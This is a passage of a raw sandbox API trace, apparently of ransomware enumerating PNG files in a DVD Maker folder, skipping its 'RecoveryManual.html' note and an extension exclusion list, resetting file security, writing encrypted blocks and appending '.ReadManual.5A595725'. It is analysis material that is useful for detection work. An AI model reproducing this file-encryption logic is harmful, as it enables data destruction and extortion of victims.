[0254.730] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37539835390) returned 1 [0254.730] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0254.730] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.731] GetLastError () returned 0x5 [0254.731] GetNamedSecurityInfoW () returned 0x0 [0254.731] SetNamedSecurityInfoW () returned 0x0 [0254.731] SetNamedSecurityInfoW () returned 0x0 [0254.732] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.733] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3810) returned 1 [0254.733] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee2, lpName=0x0) returned 0x1a0 [0254.733] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0254.735] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.735] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.737] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.737] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee2) returned 0x2f0000 [0254.737] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.737] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37540612403) returned 1 [0254.737] CloseHandle (hObject=0x1a0) returned 1 [0254.737] SetSecurityInfo () returned 0x5 [0254.738] SetSecurityInfo () returned 0x5 [0254.738] LocalFree (hMem=0x674d38) returned 0x0 [0254.738] CloseHandle (hObject=0x184) returned 1 [0254.738] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0254.738] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PreviousMenuButtonIcon.png" | out: lpString1="PreviousMenuButtonIcon.png") returned="PreviousMenuButtonIcon.png" [0254.738] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0254.738] StrStrIW (lpFirst="PreviousMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.738] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.738] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.738] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.738] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.738] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.738] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.738] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" [0254.738] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.ReadManual.5A595725" [0254.738] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.ReadManual.5A595725") returned 101 [0254.738] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37540725284) returned 1 [0254.739] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0254.739] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.739] GetLastError () returned 0x5 [0254.739] GetNamedSecurityInfoW () returned 0x0 [0254.739] SetNamedSecurityInfoW () returned 0x0 [0254.740] SetNamedSecurityInfoW () returned 0x0 [0254.742] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.743] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3819) returned 1 [0254.743] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeeb, lpName=0x0) returned 0x1a0 [0254.743] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.743] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.743] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.745] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.745] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeeb) returned 0x2f0000 [0254.746] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.746] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37541436965) returned 1 [0254.746] CloseHandle (hObject=0x1a0) returned 1 [0254.746] SetSecurityInfo () returned 0x5 [0254.746] SetSecurityInfo () returned 0x5 [0254.746] LocalFree (hMem=0x674d38) returned 0x0 [0254.746] CloseHandle (hObject=0x184) returned 1 [0254.746] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0254.746] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SceneButtonInset_Alpha1.png" | out: lpString1="SceneButtonInset_Alpha1.png") returned="SceneButtonInset_Alpha1.png" [0254.746] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="RecoveryManual.html") returned 1 [0254.746] StrStrIW (lpFirst="SceneButtonInset_Alpha1.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.746] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.746] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.746] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.746] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.746] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.746] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.746] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" [0254.746] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.ReadManual.5A595725" [0254.747] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.ReadManual.5A595725") returned 102 [0254.747] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37541533278) returned 1 [0254.747] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0254.747] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.747] GetLastError () returned 0x5 [0254.747] GetNamedSecurityInfoW () returned 0x0 [0254.747] SetNamedSecurityInfoW () returned 0x0 [0254.748] SetNamedSecurityInfoW () returned 0x0 [0254.749] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.749] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3133) returned 1 [0254.749] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3d, lpName=0x0) returned 0x1a0 [0254.749] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0254.750] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.750] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.751] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.752] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3d) returned 0x2f0000 [0254.752] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.752] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37542054327) returned 1 [0254.752] CloseHandle (hObject=0x1a0) returned 1 [0254.752] SetSecurityInfo () returned 0x5 [0254.752] SetSecurityInfo () returned 0x5 [0254.752] LocalFree (hMem=0x674d38) returned 0x0 [0254.752] CloseHandle (hObject=0x184) returned 1 [0254.753] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0254.753] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SceneButtonInset_Alpha2.png" | out: lpString1="SceneButtonInset_Alpha2.png") returned="SceneButtonInset_Alpha2.png" [0254.753] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="RecoveryManual.html") returned 1 [0254.753] StrStrIW (lpFirst="SceneButtonInset_Alpha2.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.753] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.753] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.753] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.753] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.753] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.753] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.753] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" [0254.753] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.ReadManual.5A595725" [0254.753] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.ReadManual.5A595725") returned 102 [0254.753] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37542209144) returned 1 [0254.753] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0254.755] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.755] GetLastError () returned 0x5 [0254.755] GetNamedSecurityInfoW () returned 0x0 [0254.755] SetNamedSecurityInfoW () returned 0x0 [0254.756] SetNamedSecurityInfoW () returned 0x0 [0254.757] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.757] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3518) returned 1 [0254.757] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdbe, lpName=0x0) returned 0x1a0 [0254.757] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0254.758] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.758] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.759] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.759] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdbe) returned 0x2f0000 [0254.760] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.760] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37542835611) returned 1 [0254.760] CloseHandle (hObject=0x1a0) returned 1 [0254.760] SetSecurityInfo () returned 0x5 [0254.760] SetSecurityInfo () returned 0x5 [0254.760] LocalFree (hMem=0x674d38) returned 0x0 [0254.760] CloseHandle (hObject=0x184) returned 1 [0254.768] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0254.768] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SceneButtonSubpicture.png" | out: lpString1="SceneButtonSubpicture.png") returned="SceneButtonSubpicture.png" [0254.768] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="RecoveryManual.html") returned 1 [0254.768] StrStrIW (lpFirst="SceneButtonSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.768] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.769] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.769] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.769] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.769] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.769] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.769] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" [0254.769] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.ReadManual.5A595725" [0254.769] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.ReadManual.5A595725") returned 100 [0254.769] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37543775813) returned 1 [0254.769] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0254.770] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.770] GetLastError () returned 0x5 [0254.770] GetNamedSecurityInfoW () returned 0x0 [0254.770] SetNamedSecurityInfoW () returned 0x0 [0254.771] SetNamedSecurityInfoW () returned 0x0 [0254.772] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.772] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3119) returned 1 [0254.772] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2f, lpName=0x0) returned 0x1a0 [0254.772] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0254.773] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.773] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.775] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.775] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2f) returned 0x2f0000 [0254.775] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.775] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37544407247) returned 1 [0254.775] CloseHandle (hObject=0x1a0) returned 1 [0254.775] SetSecurityInfo () returned 0x5 [0254.775] SetSecurityInfo () returned 0x5 [0254.776] LocalFree (hMem=0x674d38) returned 0x0 [0254.776] CloseHandle (hObject=0x184) returned 1 [0254.776] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, 